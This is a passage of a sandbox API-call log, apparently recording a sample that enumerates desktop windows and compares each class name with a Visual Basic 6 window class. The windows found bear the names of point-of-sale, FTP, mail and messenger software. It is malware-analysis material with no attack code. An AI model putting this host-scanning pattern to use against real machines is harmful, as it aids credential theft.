(in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0237.083] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0237.083] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0237.083] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0237.083] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0237.083] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0237.083] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0237.084] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0237.084] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0237.084] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0237.084] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0237.084] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0237.084] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0237.084] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0237.084] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0237.084] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0237.084] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0237.084] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0237.084] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0237.084] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0237.084] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0237.084] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0237.084] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.084] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0237.084] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0237.084] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0237.084] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0237.085] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0237.085] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0237.085] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0237.085] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0237.085] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0237.085] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0237.085] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0237.085] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0237.085] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0237.085] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0237.085] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0237.085] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0237.085] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0237.085] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0237.085] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0237.085] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0237.085] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.085] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0237.085] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0237.085] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0237.086] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0237.086] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0237.086] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0237.086] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0237.086] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0237.086] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0237.086] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0237.086] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0237.086] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0237.086] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0237.086] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0237.086] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0237.086] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0237.086] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0237.086] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0237.086] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0237.086] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0237.086] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.086] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.086] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0237.087] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0237.087] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0237.087] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0237.087] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0237.087] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0237.087] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0237.087] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0237.087] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0237.087] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0237.087] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0237.087] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0237.087] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0237.087] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0237.087] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0237.087] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0237.087] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0237.087] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0237.087] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0237.087] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0237.087] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0237.087] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.087] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0237.088] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0237.088] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0237.088] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0237.088] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0237.088] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.088] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0237.088] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0237.088] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0237.088] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0237.088] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0237.088] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.088] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0237.088] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0237.088] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0237.088] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0237.088] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0237.088] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.088] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0237.088] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0237.088] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0237.088] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0237.088] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0237.088] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0237.088] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.089] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0237.089] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0237.089] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0237.089] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0237.089] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0237.089] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.089] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0237.089] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0237.089] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0237.089] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0237.089] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0237.089] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.089] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0237.089] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0237.089] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0237.089] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0237.089] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0237.089] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.089] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0237.089] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0237.089] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0237.089] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0237.089] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0237.089] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0237.089] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.089] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0237.090] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0237.090] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0237.090] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0237.090] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0237.090] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0237.090] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0237.090] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0237.090] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0237.090] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0237.090] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0237.090] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0237.090] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0237.090] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0237.090] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0237.090] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0237.090] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0237.090] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0237.090] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0237.090] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0237.090] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0237.090] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0237.091] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0237.091] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0237.091] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0237.091] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0237.091] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0237.091] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0237.091] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0237.091] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0237.091] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0237.091] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0237.091] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0237.091] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0237.091] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0237.091] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0237.091] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0237.091] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0237.091] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0237.091] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0237.091] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0237.091] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0237.091] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0237.092] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0237.092] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0237.092] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0237.092] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0237.092] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0237.092] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0237.092] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0237.092] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0237.092] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 